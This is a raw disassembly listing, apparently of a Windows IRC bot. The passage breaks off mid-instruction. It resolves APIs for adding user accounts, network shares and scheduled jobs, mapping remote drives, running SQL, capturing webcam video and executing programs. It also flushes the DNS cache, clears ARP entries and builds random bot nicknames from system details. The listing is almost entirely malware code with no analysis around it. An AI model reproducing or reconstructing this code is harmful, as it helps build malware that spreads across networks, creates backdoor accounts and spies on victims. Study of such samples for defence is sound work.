; sub_409909+886j ... mov dword_4CBABC, 1 loc_40A1D3: ; CODE XREF: sub_409909+8BEj cmp ecx, ebx jz short loc_40A208 push ebx push ebx push ebx push ebx push offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)" call ecx ; InternetOpenA cmp eax, ebx mov dword_4CB984, eax jnz short loc_40A208 jmp short loc_40A202 ; --------------------------------------------------------------------------- loc_40A1ED: ; CODE XREF: sub_409909+7EAj call dword_427094 ; RtlGetLastWin32Error mov dword_4CBAC0, eax mov dword_4CBABC, 1 loc_40A202: ; CODE XREF: sub_409909+8E2j mov dword_4CB984, ebx loc_40A208: ; CODE XREF: sub_409909+8CCj ; sub_409909+8E0j push offset aIcmp_dll ; "icmp.dll" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz short loc_40A252 push offset aIcmpcreatefile ; "IcmpCreateFile" push edi call esi ; GetProcAddress push offset aIcmpclosehandl ; "IcmpCloseHandle" push edi mov dword_4CB95C, eax call esi ; GetProcAddress push offset aIcmpsendecho ; "IcmpSendEcho" push edi mov dword_4CBA8C, eax call esi ; GetProcAddress cmp dword_4CB95C, ebx mov dword_4CB8EC, eax jz short loc_40A25D cmp dword_4CBA8C, ebx jz short loc_40A25D cmp eax, ebx jnz short loc_40A267 jmp short loc_40A25D ; --------------------------------------------------------------------------- loc_40A252: ; CODE XREF: sub_409909+90Aj call dword_427094 ; RtlGetLastWin32Error mov dword_4CBAC8, eax loc_40A25D: ; CODE XREF: sub_409909+939j ; sub_409909+941j ... mov dword_4CBAC4, 1 loc_40A267: ; CODE XREF: sub_409909+945j push offset aNetapi32_dll ; "netapi32.dll" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz loc_40A36E push offset aNetshareadd ; "NetShareAdd" push edi call esi ; GetProcAddress push offset aNetsharedel ; "NetShareDel" push edi mov dword_4CB8C8, eax call esi ; GetProcAddress push offset aNetshareenum ; "NetShareEnum" push edi mov dword_4CB8A0, eax call esi ; GetProcAddress push offset aNetschedulejob ; "NetScheduleJobAdd" push edi mov dword_4CB918, eax call esi ; GetProcAddress push offset aNetapibufferfr ; "NetApiBufferFree" push edi mov dword_4CB94C, eax call esi ; GetProcAddress push offset aNetremotetod ; "NetRemoteTOD" push edi mov dword_4CBA64, eax call esi ; GetProcAddress push offset aNetuseradd ; "NetUserAdd" push edi mov dword_4CB900, eax call esi ; GetProcAddress push offset aNetuserdel ; "NetUserDel" push edi mov dword_4CB8AC, eax call esi ; GetProcAddress push offset aNetuserenum ; "NetUserEnum" push edi mov dword_4CB89C, eax call esi ; GetProcAddress push offset aNetusergetinfo ; "NetUserGetInfo" push edi mov dword_4CB934, eax call esi ; GetProcAddress push offset aNetmessagebuff ; "NetMessageBufferSend" push edi mov dword_4CBA2C, eax call esi ; GetProcAddress push offset aNetwkstagetinf ; "NetWkstaGetInfo" push edi mov dword_4CB9E4, eax call esi ; GetProcAddress cmp dword_4CB8C8, ebx mov dword_4CB908, eax jz short loc_40A379 cmp dword_4CB8A0, ebx jz short loc_40A379 cmp dword_4CB918, ebx jz short loc_40A379 cmp dword_4CB94C, ebx jz short loc_40A379 cmp dword_4CBA64, ebx jz short loc_40A379 cmp dword_4CB900, ebx jz short loc_40A379 cmp dword_4CB8AC, ebx jz short loc_40A379 cmp dword_4CB89C, ebx jz short loc_40A379 cmp dword_4CB934, ebx jz short loc_40A379 cmp dword_4CBA2C, ebx jz short loc_40A379 cmp dword_4CB9E4, ebx jnz short loc_40A383 jmp short loc_40A379 ; --------------------------------------------------------------------------- loc_40A36E: ; CODE XREF: sub_409909+969j call dword_427094 ; RtlGetLastWin32Error mov dword_4CBAD0, eax loc_40A379: ; CODE XREF: sub_409909+A11j ; sub_409909+A19j ... mov dword_4CBACC, 1 loc_40A383: ; CODE XREF: sub_409909+A61j push offset aDnsapi_dll ; "dnsapi.dll" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz short loc_40A3B8 push offset aDnsflushresolv ; "DnsFlushResolverCache" push edi call esi ; GetProcAddress push offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A" push edi mov dword_4CB8F0, eax call esi ; GetProcAddress cmp dword_4CB8F0, ebx mov dword_4CB9CC, eax jz short loc_40A3C3 cmp eax, ebx jnz short loc_40A3CD jmp short loc_40A3C3 ; --------------------------------------------------------------------------- loc_40A3B8: ; CODE XREF: sub_409909+A85j call dword_427094 ; RtlGetLastWin32Error mov dword_4CBAD8, eax loc_40A3C3: ; CODE XREF: sub_409909+AA7j ; sub_409909+AADj mov dword_4CBAD4, 1 loc_40A3CD: ; CODE XREF: sub_409909+AABj push offset aIphlpapi_dll ; "iphlpapi.dll" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz short loc_40A402 push offset aGetipnettable ; "GetIpNetTable" push edi call esi ; GetProcAddress push offset aDeleteipnetent ; "DeleteIpNetEntry" push edi mov dword_4CBA50, eax call esi ; GetProcAddress cmp dword_4CBA50, ebx mov dword_4CBA4C, eax jz short loc_40A40D cmp eax, ebx jnz short loc_40A417 jmp short loc_40A40D ; --------------------------------------------------------------------------- loc_40A402: ; CODE XREF: sub_409909+ACFj call dword_427094 ; RtlGetLastWin32Error mov dword_4CBAE0, eax loc_40A40D: ; CODE XREF: sub_409909+AF1j ; sub_409909+AF7j mov dword_4CBADC, 1 loc_40A417: ; CODE XREF: sub_409909+AF5j push offset aMpr_dll ; "mpr.dll" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz short loc_40A476 push offset aWnetaddconnect ; "WNetAddConnection2A" push edi call esi ; GetProcAddress push offset aWnetaddconne_0 ; "WNetAddConnection2W" push edi mov dword_4CBA7C, eax call esi ; GetProcAddress push offset aWnetcancelconn ; "WNetCancelConnection2A" push edi mov dword_4CBA74, eax call esi ; GetProcAddress push offset aWnetcancelco_0 ; "WNetCancelConnection2W" push edi mov dword_4CBA3C, eax call esi ; GetProcAddress cmp dword_4CBA7C, ebx mov dword_4CB90C, eax jz short loc_40A481 cmp dword_4CBA74, ebx jz short loc_40A481 cmp dword_4CBA3C, ebx jz short loc_40A481 cmp eax, ebx jnz short loc_40A48B jmp short loc_40A481 ; --------------------------------------------------------------------------- loc_40A476: ; CODE XREF: sub_409909+B19j call dword_427094 ; RtlGetLastWin32Error mov dword_4CBAE8, eax loc_40A481: ; CODE XREF: sub_409909+B55j ; sub_409909+B5Dj ... mov dword_4CBAE4, 1 loc_40A48B: ; CODE XREF: sub_409909+B69j push offset aShell32_dll ; "shell32.dll" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz short loc_40A4C0 push offset aShellexecutea ; "ShellExecuteA" push edi call esi ; GetProcAddress push offset aShchangenotify ; "SHChangeNotify" push edi mov dword_4CB940, eax call esi ; GetProcAddress cmp dword_4CB940, ebx mov dword_4CBA48, eax jz short loc_40A4CB cmp eax, ebx jnz short loc_40A4D5 jmp short loc_40A4CB ; --------------------------------------------------------------------------- loc_40A4C0: ; CODE XREF: sub_409909+B8Dj call dword_427094 ; RtlGetLastWin32Error mov dword_4CBAF0, eax loc_40A4CB: ; CODE XREF: sub_409909+BAFj ; sub_409909+BB5j mov dword_4CBAEC, 1 loc_40A4D5: ; CODE XREF: sub_409909+BB3j push offset aOdbc32_dll ; "odbc32.dll" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz short loc_40A55E push offset aSqldriverconne ; "SQLDriverConnect" push edi call esi ; GetProcAddress push offset aSqlsetenvattr ; "SQLSetEnvAttr" push edi mov dword_4CBA10, eax call esi ; GetProcAddress push offset aSqlexecdirect ; "SQLExecDirect" push edi mov dword_4CBA5C, eax call esi ; GetProcAddress push offset aSqlallochandle ; "SQLAllocHandle" push edi mov dword_4CB998, eax call esi ; GetProcAddress push offset aSqlfreehandle ; "SQLFreeHandle" push edi mov dword_4CB950, eax call esi ; GetProcAddress push offset aSqldisconnect ; "SQLDisconnect" push edi mov dword_4CB9F0, eax call esi ; GetProcAddress cmp dword_4CBA10, ebx mov dword_4CB960, eax jz short loc_40A569 cmp dword_4CBA5C, ebx jz short loc_40A569 cmp dword_4CB998, ebx jz short loc_40A569 cmp dword_4CB950, ebx jz short loc_40A569 cmp dword_4CB9F0, ebx jz short loc_40A569 cmp eax, ebx jnz short loc_40A573 jmp short loc_40A569 ; --------------------------------------------------------------------------- loc_40A55E: ; CODE XREF: sub_409909+BD7j call dword_427094 ; RtlGetLastWin32Error mov dword_4CBAF8, eax loc_40A569: ; CODE XREF: sub_409909+C2Dj ; sub_409909+C35j ... mov dword_4CBAF4, 1 loc_40A573: ; CODE XREF: sub_409909+C51j push offset aAvicap32_dll ; "avicap32.dll" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz short loc_40A5A8 push offset aCapcreatecaptu ; "capCreateCaptureWindowA" push edi call esi ; GetProcAddress push offset aCapgetdriverde ; "capGetDriverDescriptionA" push edi mov dword_4CB924, eax call esi ; GetProcAddress cmp dword_4CB924, ebx mov dword_4CBA04, eax jz short loc_40A5B3 cmp eax, ebx jnz short loc_40A5BD jmp short loc_40A5B3 ; --------------------------------------------------------------------------- loc_40A5A8: ; CODE XREF: sub_409909+C75j call dword_427094 ; RtlGetLastWin32Error mov dword_4CBB00, eax loc_40A5B3: ; CODE XREF: sub_409909+C97j ; sub_409909+C9Dj mov dword_4CBAFC, 1 loc_40A5BD: ; CODE XREF: sub_409909+C9Bj push 1 pop eax pop edi pop esi pop ebp pop ebx retn sub_409909 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A5C5 proc near ; CODE XREF: sub_401ACD+2511p var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 200h push ebx mov ebx, [ebp+arg_4] push esi xor esi, esi cmp dword_4CBA94, esi push edi mov edi, [ebp+arg_8] jz short loc_40A60D push dword_4CBA98 lea eax, [ebp+var_200] push offset aKernel32_dllFa ; "Kernel32.dll failed. <%d>" push eax call sub_41C266 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409869 add esp, 20h loc_40A60D: ; CODE XREF: sub_40A5C5+1Aj cmp dword_4CBA9C, esi jz short loc_40A641 push dword_4CBAA0 lea eax, [ebp+var_200] push offset aUser32_dllFail ; "User32.dll failed. <%d>" push eax call sub_41C266 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409869 add esp, 20h loc_40A641: ; CODE XREF: sub_40A5C5+4Ej cmp dword_4CBAA4, esi jz short loc_40A675 push dword_4CBAA8 lea eax, [ebp+var_200] push offset aAdvapi32_dllFa ; "Advapi32.dll failed. <%d>" push eax call sub_41C266 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409869 add esp, 20h loc_40A675: ; CODE XREF: sub_40A5C5+82j cmp dword_4CBAAC, esi jz short loc_40A6A9 push dword_4CBAB0 lea eax, [ebp+var_200] push offset aGdi32_dllFaile ; "Gdi32.dll failed. <%d>" push eax call sub_41C266 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409869 add esp, 20h loc_40A6A9: ; CODE XREF: sub_40A5C5+B6j cmp dword_4CBAB4, esi jz short loc_40A6DD push dword_4CBAB8 lea eax, [ebp+var_200] push offset aWs2_32_dllFail ; "Ws2_32.dll failed. <%d>" push eax call sub_41C266 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409869 add esp, 20h loc_40A6DD: ; CODE XREF: sub_40A5C5+EAj cmp dword_4CBABC, esi jz short loc_40A711 push dword_4CBAC0 lea eax, [ebp+var_200] push offset aWininet_dllFai ; "Wininet.dll failed. <%d>" push eax call sub_41C266 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409869 add esp, 20h loc_40A711: ; CODE XREF: sub_40A5C5+11Ej cmp dword_4CBAC4, esi jz short loc_40A745 push dword_4CBAC8 lea eax, [ebp+var_200] push offset aIcmp_dllFailed ; "Icmp.dll failed. <%d>" push eax call sub_41C266 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409869 add esp, 20h loc_40A745: ; CODE XREF: sub_40A5C5+152j cmp dword_4CBACC, esi jz short loc_40A779 push dword_4CBAD0 lea eax, [ebp+var_200] push offset aNetapi32_dllFa ; "Netapi32.dll failed. <%d>" push eax call sub_41C266 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409869 add esp, 20h loc_40A779: ; CODE XREF: sub_40A5C5+186j cmp dword_4CBAD4, esi jz short loc_40A7AD push dword_4CBAD8 lea eax, [ebp+var_200] push offset aDnsapi_dllFail ; "Dnsapi.dll failed. <%d>" push eax call sub_41C266 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409869 add esp, 20h loc_40A7AD: ; CODE XREF: sub_40A5C5+1BAj cmp dword_4CBADC, esi jz short loc_40A7E1 push dword_4CBAE0 lea eax, [ebp+var_200] push offset aIphlpapi_dllFa ; "Iphlpapi.dll failed. <%d>" push eax call sub_41C266 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409869 add esp, 20h loc_40A7E1: ; CODE XREF: sub_40A5C5+1EEj cmp dword_4CBAE4, esi jz short loc_40A815 push dword_4CBAE8 lea eax, [ebp+var_200] push offset aMpr32_dllFaile ; "Mpr32.dll failed. <%d>" push eax call sub_41C266 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409869 add esp, 20h loc_40A815: ; CODE XREF: sub_40A5C5+222j cmp dword_4CBAEC, esi jz short loc_40A849 push dword_4CBAF0 lea eax, [ebp+var_200] push offset aShell32_dllFai ; "Shell32.dll failed. <%d>" push eax call sub_41C266 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409869 add esp, 20h loc_40A849: ; CODE XREF: sub_40A5C5+256j cmp dword_4CBAF4, esi jz short loc_40A87D push dword_4CBAF8 lea eax, [ebp+var_200] push offset aOdbc32_dllFail ; "Odbc32.dll failed. <%d>" push eax call sub_41C266 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409869 add esp, 20h loc_40A87D: ; CODE XREF: sub_40A5C5+28Aj cmp dword_4CBAFC, esi jz short loc_40A8B1 push dword_4CBB00 lea eax, [ebp+var_200] push offset aAvicap32_dllFa ; "Avicap32.dll failed. <%d>" push eax loc_40A897: ; DATA XREF: .packed:0043320Co ; .packed:00433250o ... call sub_41C266 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409869 add esp, 20h loc_40A8B1: ; CODE XREF: sub_40A5C5+2BEj lea eax, [ebp+var_200] push offset unk_42D6C4 push eax call sub_41C266 cmp [ebp+arg_C], esi pop ecx pop ecx jnz short loc_40A8DE push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409869 add esp, 14h loc_40A8DE: ; CODE XREF: sub_40A5C5+302j lea eax, [ebp+var_200] push eax call sub_415D38 pop ecx pop edi pop esi pop ebx leave retn sub_40A5C5 endp ; =============== S U B R O U T I N E ======================================= sub_40A8F0 proc near ; CODE XREF: sub_4017ED+4Fp ; sub_401ACD+5BC5p ... arg_0 = dword ptr 4 push [esp+arg_0] call dword_4CBA14 ; inet_addr cmp eax, 0FFFFFFFFh jnz short locret_40A918 push [esp+arg_0] call dword_4CBA58 ; gethostbyname test eax, eax jnz short loc_40A911 or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_40A911: ; CODE XREF: sub_40A8F0+1Bj mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] locret_40A918: ; CODE XREF: sub_40A8F0+Dj retn sub_40A8F0 endp ; =============== S U B R O U T I N E ======================================= sub_40A919 proc near ; CODE XREF: sub_4017ED+D6p mov ecx, dword_4CB8F0 xor eax, eax test ecx, ecx jz short locret_40A927 call ecx ; DnsFlushResolverCache locret_40A927: ; CODE XREF: sub_40A919+Aj retn sub_40A919 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A928 proc near ; CODE XREF: sub_401ACD:loc_403F03p var_88 = byte ptr -88h var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 88h push ebx push esi push edi push 1 pop ebx lea eax, [ebp+var_8] xor edi, edi push ebx push eax push edi xor esi, esi mov [ebp+var_8], edi mov [ebp+var_4], ebx call dword_4CBA50 ; GetIpNetTable mov ecx, eax sub ecx, edi jz loc_40A9EE sub ecx, 32h jz loc_40A9E7 sub ecx, 48h jz short loc_40A988 sub ecx, 6Eh jz short loc_40A981 loc_40A96A: ; CODE XREF: sub_40A928+8Bj push eax lea eax, [ebp+var_88] push offset unk_42D8D8 push eax call sub_41C266 add esp, 0Ch jmp short loc_40A9C8 ; --------------------------------------------------------------------------- loc_40A981: ; CODE XREF: sub_40A928+40j push offset unk_42D8B4 jmp short loc_40A9BA ; --------------------------------------------------------------------------- loc_40A988: ; CODE XREF: sub_40A928+3Bj push [ebp+var_8] call sub_41BEB5 push [ebp+var_8] mov esi, eax push edi push esi call sub_41BF70 add esp, 10h cmp esi, edi jz short loc_40A9B5 lea eax, [ebp+var_8] push ebx push eax push esi call dword_4CBA50 ; GetIpNetTable cmp eax, edi jz short loc_40A9EE jmp short loc_40A96A ; --------------------------------------------------------------------------- loc_40A9B5: ; CODE XREF: sub_40A928+79j push offset unk_42D884 loc_40A9BA: ; CODE XREF: sub_40A928+5Ej ; sub_40A928+C4j lea eax, [ebp+var_88] push eax call sub_41C266 pop ecx pop ecx loc_40A9C8: ; CODE XREF: sub_40A928+57j lea eax, [ebp+var_88] mov [ebp+var_4], edi push eax call sub_415D38 pop ecx loc_40A9D8: ; CODE XREF: sub_40A928+C8j ; sub_40A928+DCj push esi call sub_41BA91 mov eax, [ebp+var_4] pop ecx pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_40A9E7: ; CODE XREF: sub_40A928+32j push offset unk_42D854 jmp short loc_40A9BA ; --------------------------------------------------------------------------- loc_40A9EE: ; CODE XREF: sub_40A928+29j ; sub_40A928+89j cmp [esi], edi jbe short loc_40A9D8 lea ebx, [esi+4] loc_40A9F5: ; CODE XREF: sub_40A928+DAj push ebx call dword_4CBA4C ; DeleteIpNetEntry inc edi add ebx, 18h cmp edi, [esi] jb short loc_40A9F5 jmp short loc_40A9D8 sub_40A928 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AA06 proc near ; CODE XREF: sub_401ACD+21EDp ; sub_401ACD+233Ep ... var_14 = byte ptr -14h var_10 = byte ptr -10h var_F = byte ptr -0Fh var_E = byte ptr -0Eh var_D = byte ptr -0Dh var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h push esi push 10h pop eax mov [ebp+var_4], eax push eax lea eax, [ebp+var_14] push 0 push eax call sub_41BF70 add esp, 0Ch lea eax, [ebp+var_4] push eax lea eax, [ebp+var_14] push eax push [ebp+arg_0] call dword_4CB978 ; getsockname movzx eax, [ebp+var_D] push eax mov esi, offset dword_4CBB04 movzx eax, [ebp+var_E] push eax movzx eax, [ebp+var_F] push eax movzx eax, [ebp+var_10] push eax push offset aD_D_D_D ; "%d.%d.%d.%d" push esi call sub_41C266 add esp, 18h mov eax, esi pop esi leave retn sub_40AA06 endp ; =============== S U B R O U T I N E ======================================= sub_40AA5F proc near ; CODE XREF: sub_413694+24Cp ; sub_413694+292p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_4] xor eax, eax cmp esi, 1 jle short loc_40AA88 mov ecx, esi push edi shr ecx, 1 mov edx, ecx neg edx lea esi, [esi+edx*2] mov edx, [esp+8+arg_0] loc_40AA7B: ; CODE XREF: sub_40AA5F+24j movzx edi, word ptr [edx] add eax, edi inc edx inc edx dec ecx jnz short loc_40AA7B pop edi jmp short loc_40AA8C ; --------------------------------------------------------------------------- loc_40AA88: ; CODE XREF: sub_40AA5F+Aj mov edx, [esp+4+arg_0] loc_40AA8C: ; CODE XREF: sub_40AA5F+27j test esi, esi pop esi jz short loc_40AA96 movzx ecx, byte ptr [edx] add eax, ecx loc_40AA96: ; CODE XREF: sub_40AA5F+30j mov ecx, eax and eax, 0FFFFh shr ecx, 10h add ecx, eax mov eax, ecx shr eax, 10h add eax, ecx not eax retn sub_40AA5F endp ; =============== S U B R O U T I N E ======================================= sub_40AAAC proc near ; CODE XREF: sub_40AE84+49p ; DATA XREF: .packed:off_42D920o arg_0 = dword ptr 4 push esi push edi call dword_4270B0 ; GetTickCount push eax call sub_41C2B8 pop ecx call sub_41C2C2 xor edx, edx mov ecx, 48Fh div ecx mov edi, [esp+8+arg_0] push off_42D99C[edx*4] push offset aS_2 ; "%s" push 1Ch push edi call sub_41C360 xor esi, esi add esp, 10h cmp dword_429098, esi jle short loc_40AB14 loc_40AAEE: ; CODE XREF: sub_40AAAC+66j call sub_41C2C2 push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_42B89C push 1Ch push edi call sub_41C360 add esp, 14h inc esi cmp esi, dword_429098 jl short loc_40AAEE loc_40AB14: ; CODE XREF: sub_40AAAC+40j mov eax, edi pop edi pop esi retn sub_40AAAC endp ; --------------------------------------------------------------------------- push esi push edi call dword_4270B0 ; GetTickCount push eax call sub_41C2B8 mov edi, [esp+10h] mov dword ptr [esp], offset asc_429138 ; "-" push offset aS_2 ; "%s" push 1Ch push edi call sub_41C360 xor esi, esi add esp, 10h cmp dword_429098, esi jle short loc_40AB72 loc_40AB4C: ; CODE XREF: .packed:0040AB70j call sub_41C2C2 push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_42B89C push 1Ch push edi call sub_41C360 add esp, 14h inc esi cmp esi, dword_429098 jl short loc_40AB4C loc_40AB72: ; CODE XREF: .packed:0040AB4Aj mov eax, edi pop edi pop esi retn ; =============== S U B R O U T I N E ======================================= sub_40AB77 proc near ; CODE XREF: sub_401ACD+68EEp arg_0 = dword ptr 4 push ebx push esi push edi call dword_4270B0 ; GetTickCount push eax call sub_41C2B8 pop ecx call sub_41C2C2 push 3 mov ebx, [esp+10h+arg_0] cdq pop ecx xor edi, edi idiv ecx mov esi, edx add esi, dword_429098 test esi, esi jle short loc_40ABBA loc_40ABA4: ; CODE XREF: sub_40AB77+41j call sub_41C2C2 push 1Ah cdq pop ecx idiv ecx add dl, 61h mov [edi+ebx], dl inc edi cmp edi, esi jl short loc_40ABA4 loc_40ABBA: ; CODE XREF: sub_40AB77+2Bj and byte ptr [edi+ebx], 0 pop edi mov eax, ebx pop esi pop ebx retn sub_40AB77 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push ecx and dword ptr [ebp-4], 0 push esi push edi mov dword ptr [ebp-8], 100h call dword_4270B0 ; GetTickCount push eax call sub_41C2B8 pop ecx lea eax, [ebp-8] mov esi, offset byte_4315F4 push eax push esi call dword_4270C8 ; GetComputerNameA movsx eax, byte_4315F4 push 41h pop ecx push 1 pop edx loc_40AC00: ; CODE XREF: .packed:0040AC0Bj cmp eax, ecx jnz short loc_40AC07 mov [ebp-4], edx loc_40AC07: ; CODE XREF: .packed:0040AC02j inc ecx cmp ecx, 5Bh jl short loc_40AC00 push 61h pop ecx loc_40AC10: ; CODE XREF: .packed:0040AC1Bj cmp eax, ecx jnz short loc_40AC17 mov [ebp-4], edx loc_40AC17: ; CODE XREF: .packed:0040AC12j inc ecx cmp ecx, 7Bh jl short loc_40AC10 mov edi, [ebp+8] push esi push 1Ch push edi call sub_41C360 xor esi, esi add esp, 0Ch cmp dword_429098, esi jle short loc_40AC5C loc_40AC36: ; CODE XREF: .packed:0040AC5Aj call sub_41C2C2 push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_42B89C push 1Ch push edi call sub_41C360 add esp, 14h inc esi cmp esi, dword_429098 jl short loc_40AC36 loc_40AC5C: ; CODE XREF: .packed:0040AC34j mov eax, edi pop edi pop esi leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 0Ch push esi push edi call dword_4270B0 ; GetTickCount push eax call sub_41C2B8 pop ecx lea eax, [ebp-0Ch] push 0Ah push eax push 7 push 800h call dword_4270CC ; GetLocaleInfoA mov edi, [ebp+8] lea eax, [ebp-0Ch] push eax push offset dword_4315F8 push 1Ch push edi call sub_41C360 xor esi, esi add esp, 10h cmp dword_429098, esi jle short loc_40ACD1 loc_40ACAB: ; CODE XREF: .packed:0040ACCFj call sub_41C2C2 push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_42B89C push 1Ch push edi call sub_41C360 add esp, 14h inc esi cmp esi, dword_429098 jl short loc_40ACAB loc_40ACD1: ; CODE XREF: .packed:0040ACA9j mov eax, edi pop edi pop esi leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 94h push esi lea eax, [ebp-94h] push edi push eax mov esi, offset byte_43DB88 mov dword ptr [ebp-94h], 94h call dword_4270D0 ; GetVersionExA call dword_4270B0 ; GetTickCount push eax call sub_41C2B8 cmp dword ptr [ebp-90h], 4 pop ecx jnz short loc_40AD5B cmp dword ptr [ebp-8Ch], 0 jnz short loc_40AD3B cmp dword ptr [ebp-84h], 1 jnz short loc_40AD2B mov esi, offset dword_431620 loc_40AD2B: ; CODE XREF: .packed:0040AD24j cmp dword ptr [ebp-84h], 2 jnz short loc_40AD97 mov esi, offset dword_43161C jmp short loc_40AD97 ; --------------------------------------------------------------------------- loc_40AD3B: ; CODE XREF: .packed:0040AD1Bj cmp dword ptr [ebp-8Ch], 0Ah jnz short loc_40AD4B mov esi, offset dword_431618 jmp short loc_40AD97 ; --------------------------------------------------------------------------- loc_40AD4B: ; CODE XREF: .packed:0040AD42j cmp dword ptr [ebp-8Ch], 5Ah jnz short loc_40AD92 mov esi, offset dword_431614 jmp short loc_40AD97 ; --------------------------------------------------------------------------- loc_40AD5B: ; CODE XREF: .packed:0040AD12j cmp dword ptr [ebp-90h], 5 jnz short loc_40AD92 cmp dword ptr [ebp-8Ch], 0 jnz short loc_40AD74 mov esi, offset dword_431610 jmp short loc_40AD97 ; --------------------------------------------------------------------------- loc_40AD74: ; CODE XREF: .packed:0040AD6Bj cmp dword ptr [ebp-8Ch], 1 jnz short loc_40AD84 mov esi, offset dword_43160C jmp short loc_40AD97 ; --------------------------------------------------------------------------- loc_40AD84: ; CODE XREF: .packed:0040AD7Bj cmp dword ptr [ebp-8Ch], 2 mov esi, offset dword_431608 jz short loc_40AD97 loc_40AD92: ; CODE XREF: .packed:0040AD52j ; .packed:0040AD62j mov esi, offset dword_431604 loc_40AD97: ; CODE XREF: .packed:0040AD32j ; .packed:0040AD39j ... mov edi, [ebp+8] push esi push offset dword_4315FC push 1Ch push edi call sub_41C360 xor esi, esi add esp, 10h cmp dword_429098, esi jle short loc_40ADDB loc_40ADB5: ; CODE XREF: .packed:0040ADD9j call sub_41C2C2 push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_42B89C push 1Ch push edi call sub_41C360 add esp, 14h inc esi cmp esi, dword_429098 jl short loc_40ADB5 loc_40ADDB: ; CODE XREF: .packed:0040ADB3j mov eax, edi pop edi pop esi leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40ADE1 proc near ; CODE XREF: sub_40AE84+5Cp var_1C = byte ptr -1Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1Ch push esi call dword_4270B0 ; GetTickCount xor edx, edx mov ecx, 5265C00h div ecx push 0 push offset aMirc_0 ; "mIRC" mov esi, eax cmp esi, 64h jbe short loc_40AE30 call dword_4CB9E0 ; FindWindowA test eax, eax mov eax, offset dword_43162C jnz short loc_40AE19 mov eax, offset byte_43DB88 loc_40AE19: ; CODE XREF: sub_40ADE1+31j push eax push esi push offset dword_431624 lea eax, [ebp+var_1C] push 1Ch push eax call sub_41C360 add esp, 14h jmp short loc_40AE50 ; --------------------------------------------------------------------------- loc_40AE30: ; CODE XREF: sub_40ADE1+22j call dword_4CB9E0 ; FindWindowA test eax, eax mov eax, offset dword_43162C jnz short loc_40AE44 mov eax, offset byte_43DB88 loc_40AE44: ; CODE XREF: sub_40ADE1+5Cj push eax lea eax, [ebp+var_1C] push eax call sub_41C266 pop ecx pop ecx loc_40AE50: ; CODE XREF: sub_40ADE1+4Dj lea eax, [ebp+var_1C] push eax call sub_41B9C0 pop ecx cmp eax, 2 pop esi jbe short loc_40AE7F push 1Ch lea eax, [ebp+var_1C] push [ebp+arg_0] push eax call sub_41CBC0 lea eax, [ebp+var_1C] push 1Ch push eax push [ebp+arg_0] call sub_41BFD0 add esp, 18h loc_40AE7F: ; CODE XREF: sub_40ADE1+7Dj mov eax, [ebp+arg_0] leave retn sub_40ADE1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AE84 proc near ; CODE XREF: sub_4017ED+7Fp ; sub_401955+50p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push esi push edi xor edi, edi mov esi, offset dword_42D91C loc_40AE90: ; CODE XREF: sub_40AE84+3Fj cmp [ebp+arg_C], 0 jz short loc_40AEAB lea eax, [esi-0Ch] push eax push [ebp+arg_C] call sub_41CA50 neg eax pop ecx sbb eax, eax pop ecx inc eax jmp short loc_40AEB5 ; --------------------------------------------------------------------------- loc_40AEAB: ; CODE XREF: sub_40AE84+10j mov ecx, [esi] xor eax, eax cmp ecx, [ebp+arg_4] setz al loc_40AEB5: ; CODE XREF: sub_40AE84+25j test 